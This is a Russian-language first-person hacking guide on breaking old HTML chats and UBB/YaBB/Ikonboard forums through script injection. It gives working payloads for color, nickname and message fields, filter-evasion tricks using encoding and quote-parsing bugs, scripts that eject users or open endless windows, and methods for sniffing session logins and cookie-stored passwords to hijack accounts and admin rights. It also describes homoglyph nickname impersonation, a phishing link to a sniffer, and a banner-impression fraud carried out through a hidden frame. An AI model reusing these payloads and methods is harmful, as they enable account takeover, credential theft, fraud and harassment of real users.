Приведу пример одного из первых взломанных мною чатов. Этот чат был очень простым, и взламывался что называется с первого захода
). Да и мало сейчас осталось чатов, в которых это проходит. Хотя я додумался до этих методов сам, но потом я их нашел и в хакерских журналах. Входная форма этого чата в точности соответствовала форме, приведенной в главе "Общая теория". После преобразования и сохранения формы на диске, я проверил какие символы в атрибуте цвета проходят. Оказалось что проходят следующие символы (из тех что нас интересуют-см. гл "Общая теория"):
Ну и конечно же проходили все цифры и буквы. Длинна строки-значения цвета не ограничивалась. Далее я посмотрел куда именно вставляется цвет во фрейме сообщений. Вот фрагмент этого фрейма:<font color=Black><b>Путник</b>- Alpha, привет ))</font><br><font color= Red><b>Alpha</b>- Всемприветик !!</font><br>Как видно, цвет вставляется без окружающих кавычек. Это меня устраивало. Я залогинился под ником Algol (ну или почти под таким ником
) и цветом red size=20. Мое сообщение выглядело следующим образом: <font color=red size=20><b>Algol</b>- Hi</font><br>Оно выводилось очень крупным шрифтом, что немного удивило население чата
). Таким образом, несмотря на то, что непосредствено теги мы вставить не можем, но разрешение на ввод пробела в атрибуте цвета, позволило нам задавать несанкционированные параметры тега <font>. Однако мне этого было конечно мало. Менять размер шрифта конечно классно, но действительно что-то полезное можно сделать только используя скрипты. Вставить непосредственно тег script я не мог (вернее в то время я еще не знал как это сделать). Но я мог задать обработчик на какое-либо событие тега <font>. Вот какой цвет я задавал для того, что бы удалить какого нибудь придурка из чата: #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. И затем посылал ему длинное длинное сообщение в приват. Цвет сообщения я подобрал таким образом, что бы оно не отличалось от фонового цвета. А размер шрифта и длинна сообщения были такими огромными, что жертва наверняка хоть раз прошлась мышкой по сообщению, в результате чего мой обработчик onmouseover нажимал кнопочку "покинуть чат" вместо юзера
).Однако, постепенно нашлись умники, которые раскусили прикол, и намеренно не возили курсор по окну чата. Мой скрипт срабатывал не всегда
(. Сначала я думал, что выхода нет. Поскольку я могу вставлять скрипт только как обработчик события, тогда если это событие не происходит, то и скрипт не срабатывает. Но, покопавшись в "анналах", я нашел решение (сейчас оно уже стало тривиальным и широко известным). Оказалось, что в атрибуте style можно указывать URL фонового рисунка для тега. А где можно указывать URL, там можно записать и скрипт. А главное то, что фоновый рисунок загружался сам, по окончании загрузки HTML документа! Если я хотел показать алерт участникам чата, я логинился со следующим цветом:Red style=background-image:url(javascript:alert('приветик_всем_!!'))
Следует заметить важную деталь: поскольку структура большинства HTML чатов такова, что страница регулярно обновляется, то скрипт посланный таким образом выполняется не один раз, а много, до тех пор пока наше сообщение не исчезнет с экрана.А вот как теперь выглядело значения атрибута цвета для выкидывания из чата:Red style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click())Нужно помнить: скрипт посланный в привате, увидит не только ваш "собеседник", но и вы сами, поэтому надо знать как самому защититься от влияния скрипта. Это можно сделать двумя способами: либо поставить самого себя в игнор (и тогда мы не будем видеть собственные сообщения), либо в настройках браузера запретить отображение картинок. Тогда скрипт, срабатывающий через фоновый рисунок, работать не будет.Теперь я хочу показать некотрые полезные скрипты, которые можно применять во взломанных чатах:javascript:navigate('http://myserver.ru') - загружает в текущий фрейм (или страницу) сайт myserver.ru. Некоторые чаты, при виде фрагмента http:// считают это ссылкой, и автоматически вставляют тег <a>. Поскольку это разрушит наш скрипт, то этого нельзя допускать. Для этого нужно просто опустить префикс http: (который и так принимается по умолчанию). Тогда скрипт будет выглядеть: javascript:navigate('//myserver.ru'). Два впереди идущих слеша - обязательны.javascript:parent.frames[2].document.location= 'http://myserver.ru' - загружает в один из фреймов сайт myserver.ru.javascript:for(;;)open() - открывает бесконечное число окон (если вовремя не сориентироваться, то приводит к зависанию машины и последующей перезагрузке).javascript:document.write('<script>alert()</script>') - заменяет текущий фрейм скриптом, который затем выполняется. Примечание: если чат не пропускает символы < и > (а это подавляющее число чатов) то такой скрипт мы вставить не сможем. Но есть выход. Это применение функции unescape(), которая преобразует ASCII-код символа в символ. Заменим угловые скобки на функцию unescape() с соответсвующими кодами, тогда наш скрипт примет вид: javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) См. также на эту тему главу "Еще несколько взломов многострадального чата T"javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - вставляет картинку после текста. Замечу, что в IE 5.x вставить можно любой тег кроме FRAME, IFRAME и SELECT. Но в IE 4.x функция createElement() допускает вставку только тегов IMG, AREA и OPTION . Информации насчет Netscape не имею, можете поэкспериментировать сами.'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' - блокирует выпадающее меню страницы, и следовательно делает недоступным просмотр HTML содержиме фрейма. Благодаря этому можно скрывать свои махинации с телом чата
).
Иногда бывает полезно логинится под чужим ником. Чаты с системой регистрации юзеров не позволят вам это сделать, если вы не знаете пароля (а вы его скорее всего и не знаете). Банальный выход : регистрация с ником в котором буква латинского алфавита заменятеся на очень похожую букву русской раскладки. Например логинимся под ником admin где латинская буква а заменена на русскую а. Метод примитивный, но работает )). Бывают и более тяжелые случаи. Например в некоторых чатах запрещено использование в одном нике символов из разных раскладок. Тогда пытливому уму ничего не остается делать, как обратится к дяде Гейтсу за помощью. И вот она доброта людская, Microsoft не забыл про грешных юзеров и подарил нам символ ­(он же он же %AD), который сама микрософта назвала "Soft hyphen" ("Короткий дефис"). Он действительно в Word выглядит как дефис, и в экселе тоже, и даже в блокноте, но только не в IE! Для майкрософтовского эскплорера символа ­ просто не существует, то есть он как бы есть, но для него забыли сделать графическое представление. Он просто напросто не прорисовывается в HTML страничке! Смотрите сами. Таким образом, добавив короткий дефис к любому нику и зарегестрировавшись под ним, мы входим в чат с ником, который будет выглядеть на HTML странице точно так же как и ник без дефиса. А можно сделать еще круче - залогиниться под ником, сотоящим только из символов короткого дефиса. Тогда ваш ник вообще не будет отображаться в чате, абсолютно пустое место)).
(Примечание: Повозившись еше немного с символом короткого дефиса я все же обнаружил случаи, когда он появляется: Он появляется только как символ переноса. То есть если внутри слова стоит короткий дефис и если это слово стоит в конце строки, то часть слова после дефиса может быть перенесена на следующую строку, а сам дефис становится видимым! Таким образом, возможно невидимость дефиса - преднамеренная фича майкрософта (что впрочем не уменьшает его полезность при взломах
). Правда непонятно почему же он все-таки остается всегда видимым в остальных
Чудеса с символом =
Как вы думаете, что будет отображаться в браузере для такой строчки HTML: <font onclick=alert('=')>Text</font> ? Держу пари не угадаете (если вы конечно не работаете в Microsoft и не разрабатывали MSIE). Результат настолько специфический, что я не смог сделать пример, который бы его продемонстрировал . Но можете поверить на слово, что в окне браузера будет отображаться следующее: <p><fontonclick=alert('=')>Text
Как видите, открывающий тег <font> в данном случае просто напросто не воспринимается браузером как тег, хотя синтаксических ошибок нет
). А что будет если мы напишем <font onclick=alert('=') '>Text</font> ? Как ни странно, в таком случае все будет в порядке, хотя налицо ошибка синтаксиса. А если мы кликнем на тексте, выскочит алерт =. Попробуйте переместить третий апостроф за угловую скобку, или за текст: <font onclick=alert('=')>Text'</font> . Получится тоже неожиданный результат.
К сожалению я не имею исходников или подробной документации для MSIE, но я думаю что в данном случае имеет место явная ошибка в MSIE. Вероятно браузер анализирует код в два этапа. На первом этапе он выделяет теги, их атрибуты и текст, который находится между ними, а на втором он анализирует JavaScript-содержимое параметров тегов (речь идет только про те атрибуты, которые допускают значение-скрипт, например href или onclick ). При первичном анализе браузер по непонятной причине считает комбинацию =' началом строки, несмотря на то, что символ = уже находтся внутри строки! Затем приняв =' за начало строки, программа ищет конец (при этом начисто забыв про то, что еще одна строка открыта и не закрыта). Таким образом все что следует за =' (либо =" ) и до следующего символа ' игнорируется и считается строкой! Поэтому в первом примере браузер не воспринимал тег: он не нашел закрывающей угловой скобки, поскольку она находилась (как бы) внутри строки. Но еще более удивительно то, что на втором этапе анализа параметров тега, браузер все воспринимает правильно (в этом можно убедится нажав на надпись Text во втором примере), и воспринимает строку там где надо, и находит закрывающую угловую скобку тоже там где надо. Это ведет к тому, что фрагмент Text из третьего примера не является отображаемым текстом (поскольку как бы не является телом тега), но и не является параматром тега (поскольку на этапе анализа параметров, до нее компилятор просто не доходит)! Пламенный привет Биллу!
Используя данную ошибку браузера мне удалось закоментировать часть кода чата, просто напросто залогинившись под ником =
). Вот фрагмент кода, который отображал список присутствующих в чате:
<a href=javascript:parent.window.messageFor("=")>=</a><br>
<a href=javascript:parent.window.messageFor("Модератор")>Модератор</a><br>
При этом мой ник в списке просто не отображался, поскольку фрагмент между кавычками )>=</a><br><a href=javascript:parent.window.messageFor( оказался вне тела тегов :-}. Зато при нажатии на Модератор, функция parent.window.messageFor вызывалась с параметром =. Аналогичные "эффекты" были и при отображении моих сообщений в чате.
Замечательно (или печально - смотря для кого) то, что данный глюк проходит практически везде где можно хоть че нить ввести (по крайней мере для MSIE 5.50.4134.0600), и для этого даже не надо ничего менять в форме. А плохо то, что от этого трудно добиться существенной пользы (например запуск скрипта).
В заключении отметим, что аналогичным эффектом обладает и символ >, который воспринимается как конец тега, несмотря на то, что он находится внутри строки. Фрагмент <font onclick=alert('>')>Text</font> интерпретируется браузером как ошибочный, и он выдает ругательство на то, что не закрыта строковая константа.
Два взлома чата T
> Чат T пропускал следующие символы в поле цвета:
' ` = ;
При вставке цвета в чат, обрамляющих кавычек не было. Фрагмент сообщений в чате (кстати автор чата видимо не считает нужным закрывать теги )), хотя будем надеятся что это сделано для повышения быстродействия):
<FONT COLOR=008000><a href=javascript:parent.window.Mtm('22:18:18')>22:18:18</a> - <a href=javascript:parent.window.mfor('BalamUY')>BalamUY</a> : вошел в комнату <br> <FONT COLOR=green><a href=javascript:parent.window.Mtm('22:18:03')>22:18:03</a> - <a href=javascript:parent.window.mfor('Fialka')>Fialka</a> : Sponsor > Если интересная, то ниче. <br>
Смущало то, что пробел не пропускался фильтром. Однако, после некоторых раздумий, я нашел следующее решение - сам цвет я взял в одинарные кавычки, а после цвета без пробела вставил параметр style: 'red'style=background-image:url(javascript:while(1==1)open()). Как отмечалось во второй главе разделительный пробел в данном случае не обязателен
).
Кстати в этом чате было полно фреймов, и в том числе были скрытые и пустые - вероятно задумывались для каких-либо будущих расширений. Но пока админы думали над расширениями, я нашел им более полезное применение. Я в этом чате висел достаточно долго - несколько месяцев. И висел не просто так: в один из скрытых фреймов я пихал свой сайтик. А на сайтике были баннеры баннерной сети. Таким макаром я накрутил себе около сотни тысяч баннеропоказов, а мой сайт подскочил до 5-6 места в рейтинге хитов Rambler Top 100 (в своей группе). К сожалению, баннерная сеть сопоставила отношение хиты/хосты и поняла что ее водят за нос. Получалось что один и тот же посетитель заходит на мой сайт раз по 50 в день. Мой аккаунт заблокировали. Так наверно до сих пор там и висит, неприкаянный
).
Но вернемся к нашим баранам. Спустя некоторое время администрация чата заменила cgi-шку. Не знаю какие "улучшения" были сделаны в second edition, но я лишь заметил одно изменение: теперь длинна строки-значения цвета была ограничена, и составляла около 10 символов (кстати такое ограничение стоит во многих чатах, хотя я не понимаю какой в них смысл? Не легче ли поставить фильтры на вводимые символы? Хотя возможно таким образом они защищаются от переполнения буфера?). При таком раскладе, конечно старый метод уже не работал. Втиснуть в 10 символов приличный скрипт нельзя (тут даже и сам style не помещался). Я понял, что можно ломать только через ник или вторым методом - разрушая стрктуру HTML. Несколько часов я пробовал так и этак. Кроме дешевого эффекта исчезновения ника (глава "Чудеса с символом =") ничего не получалось. Ломка структуры ничего не давала по следующей причине: вставляя вместо цвета символ ' я открывал строку, но она закрывалась апострофом который шел в ссылке на время (тут чату просто повезло - это не было задумано как защитная мера, хотя многие чаты вставляют специально для этого фиктивные теги типа <! ' " ' > ):
<FONT COLOR='><a href=javascript:parent.window.Mtm('22:18:18')>22:18:18</a> - <a href=javascript:parent.window.mfor('Algol')>Algol</a> Привет ! <br>
То есть коментировался только фрагмент ><a href=javascript:parent.window.Mtm(. И все чего я добился это удаление тега ссылки на время. Если бы было возможно вставлять вместо однарных кавычек, двойные, то проблемы бы не было, ведь в чате двойные кавычки не применялись. Но символ " не пропускался фильтром. Заход под ником типа Algol= тоже ничего не давал поскольку, как показано в предыдущей главе, символы после 'Algol=')> игнорировались и не считались параметрами тега. Работал конечно еще вариант описанный в конце главы "Вариации на тему", но эти скрипты срабатывали только при нажатии на ссылку моего ника
(. Я уже готов был признать что целиком чат взломать нельзя. И тут в последний момент, копаясь и эксперементируя в недрах HTML, я обнаружил что символ обратного апострофа тоже является ограничителем строк в HTML !!! И этот символ пропускался фильтром! Недолго думая я залогинился с ником Algol и цветом ` . А потом в качестве сообщения в чат послал такую строку: ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) . Мое сообщение в теле чата выглядело следующим образом:
<FONT COLOR=`><a href=javascript:parent.window.Mtm('22:18:18')>22:18:18</a> - <a href=javascript:parent.window.mfor('Algol')>Algol</a> ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) <br>
При этом фрагмент ><a href=javascript:parent.window.Mtm('22:18:18')>22:18:18</a> - <a href=javascript:parent.window.mfor('Algol')>Algol</a> полностью коментировался и считался как бы цветом, а параметр style оказывался внутри тега <font>! Скрипт сработал
).
Так что программистам чата T придется разрабатывать новую версию своего детища. Остается толко удивлятся как много лазеек они оставляют, и как медленно их исправляют. Говорят все дело в психологии: разработчики защитных систем не могут поставить себя на место взломщика, а судят о системе со своей стороны, вместо того, что бы посмотреть на нее снаружи.
"Перехват", "подлог" и получение прав.
Рассмотрим методы захвата чужих сообщений (приватов) и отсылки сообщений от лица других чатовцев. Существуют разные методы перехватов, предназначенные для разных типов чатов. Если чат полностью взломан то операция "подлога" (т.е. вставка реплик от имени других чатовцев) не составляет труда: нужно лишь послать жертве в приват скрипт, который будет записывать некоторый текст в строку реплики, а затем нажимать кнопочку "отправить". Анологично можно вытянуть и приват юзера. Однако такие методы слишком грубы, примитивны и трудны в применении. Более совершенны такие методы перехвата, при которых сам чат принимает вас за другого юзера.
При создании HTML-чатов, основная проблема заключается в том, что HTTP протокол, в принципе, не поддерживает постоянных соединений. Это значит, что каждый раз, когда вы хотите получить сообщения или отослать реплику, программа чата должна "узнать" вас, понять, что вы это вы. Если бы она не узнавала юзеров, она бы не смогла присылать вам ваши приваты, и не смогла бы писать ваши сообщения от вашего имени. Для идентификации участников, чаты используют разные методы. Наиболее часто используются метод IP-адресов и метод динамических имен. Первый метод основывается на том, что у одного и того же пользователя один и тот же IP адрес на протяжении сессии связи. Не буду подробно останавливаться на этом методе, скажу лишь, что этот метод имеет недостатки. В частности он может не работать, если пользователь использует корпоративный прокси сервер, или если он открыл несколько окон с чатом. В последнее время стал часто использоваться другой метод - метод динамических имен. Суть метода заключается в том, что при каждом заходе юзера в чат, ему автоматически присваивается временный уникальный логин. Этот логин автоматтически прописывается в страничке, которую шлюз присылает пользователю. Каждый раз, когда пользователь отсылает форму реплики или запрашивает сообщения из чата, его страничка отсылает на сервер временный логин, по которому сервер собственно и идентифицирует пользователя. Временный логин система генерирует случайным образом, и два разных юзера не могут иметь одинаковый логин. Логин может состоять из нескольких частей. Чаще всего это порядковый номер пользователя в сессии, и сгенерерированный случайным образом пассворд. Поскольку идентификационный логин "зашит" в чатовскую страничку каждого юзера, то система точно знает с каким юзером она общается, независимо от его IP адреса, прокси-серверов, количества открытых окон с чатом и т.д.
Понятно, что если бы мы знали логин пользователя, то нам бы не составило труда "подкосить" под юзера, просто напросто исправив в своей страничке свой логин, на его логин. Тогда бы система приняла нас за него... Оказывается это можно легко сделать, если чат взломан, и мы имеем возможность вставить в чат свою картинку. Тогда, если в качестве картинки использовать сниффер (см главу "Вариации на тему"), то мы сможем получить временные логины всех участников чата! А если нас интересует чей-то конкретный логин , то нужно послать ему сниффер в приват. Отмечу следующее: перехваченный логин действителен только до тех пор, пока юзер находится в чате, если перелогинится (выйдет и снова зайдет), то у него уже будет новый временый логин.
Понятно, что если перехватить временный логин админа, то к нам автоматически перейдут и его права - например возможность непосредственной вставки тегов в сообщения (т.е. отсутствие фильтра на символы < и >), или возможность удаления из чата, или получения информации о пользователе и т.д.
Третий взлом чата T
> Итак вернемся к многострадальному чату Т. Не так давно чат Т полностью перешел на новое ядро. Теперь правила игры изменились. Сначала поле цвета пропускало практически все (вплоть до знаков < и >), и мне не сотавило труда взломать его. Но вскоре эту дырку заделали (не без моего участия). В новой версии чата цвет пропускал исключительно цифры и буквы. Взлом через цвет стал невозможен. Это заставило искать более изощеренные методы. По сути, единственое что оставалось - это ник. По своему опыту я знал, что через ник взломать чат довольно трудно, поскольку разработчики довольно тщательно подбирают для ника фильтры. Однако в чате муссировалась "фишка" о том, что "набор символов для ника существенно расширен". Это шло как своеобразная реклама. Немного повозившись с фильтрами на ник, я обнаружил что пропускаются следующие символы:
' ` = ; \
Символ " пропускался, однако перед ним чат автоматически вставлял символ \. Механизмы связанные с такой комбинацией описаны в главе "Немного о символе обратного слэша \". Однако эффекты описанные в этой главе не давали желаемого результата, и были неудобны в использовании. Я искал другое решение. И я его нашел!
Посмотрим на фрагмент сообщений в чате:
<a href='javascript:top.msgto("Algol")'>Algol</a><font> Всем приветик </font><a href='javascript:top.msgto("Стелла")'>Стелла</a><font> Привет </font>
Как видим, ник давался как ссылка, при нажатии на которую вызывалась некая функция. Обработчик ссылки href заключался в одинарные кавычки, а сам ник шел в двойных кавычках. Поскольку двойная кавычка фактически не пропускалась чатом в значении ника, то выйти за пределы аргумента функции было как бы невозможно. Ник типа =` не работал, поскольку обработчик был заключен в одинарные апострофы, и как было показано в главе "Чудеса с символом =" эффект со знаком = не работал. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Т.е. например при компиляции следующего тега: <a href='javascript:msgto("Mc'Donald")'> браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. Т.о. обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')`. Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=`. Посмотрим как в таком случае сообщения в чате:
<ahref='javascript:top.msgto("`='A'=`")'>`='A'=`</a><font>` style=background-image:url(javascript:alert()) </font><a href='javascript:top.msgto("Стелла")'>Стелла</a>
Фрагмент ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`='. Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A', а его значением `")'>`. Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A', как и последующий фрагмент `</a><font>`. Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то
).
Еще несколько взломов многострадального чата T
> Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня:). Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script, где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:
Компиляция HTML > Раскодировка символов > Компиляция обработчиков
А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):
<font onclick=alert()>Click me</font>
Таким образом послав комбинацию ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт
.
Замечу две особенности : 1. Содержимое тега <script> нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).
Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ;, а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')"), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+'), мы получаем скрипт срабатывающий при нажатии на ник.
Но и это еще не все. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под %27%2Balert%28%29%2B%27, результат будет тот же
. Однако раскодировка юникода проходит только в обработчиках href(или в других, где должен присутствовать адрес). В других обработчиках (например onclick) раскодировка юникода не происходит.
Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't=. Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).
Взлом UBB / YABB / IB форумов
1. Через UBB тег -- такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif. При этом ничего не мешает вставить например такой тег --. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg, но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : --. Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает
. Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример: --` style="background-image:url('javascript:alert()')". Результат- тот же самый что и в первом примере.
Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг
).
2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии
).
3. А вот еще одна дырка в форумах Ikonboard: помимо того, что там срабатывает дырка связанная с тегом [IMG], там есть еще и дырка в теге [COLOR]. Например посылая в форум такое сообщение [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.
Всякая всячина
Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: , после чего посмотрите на свой приват в чате
). Красиво ?
В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер
. Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi, а в общак вставляется Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал <a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank>http://fig.vam.com/cgi-bin/girl.cgi</a>. После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся
, держа в руках IP адрес , номер сессии или пароль с логином вашего собеседника
.
А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100. А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете
?
Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ #. Например если пользователь задал цвет aaff00, то в тело чата этот цвет вставится в виде <font color=#aaff00>. В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ #, то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом ><xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру
.
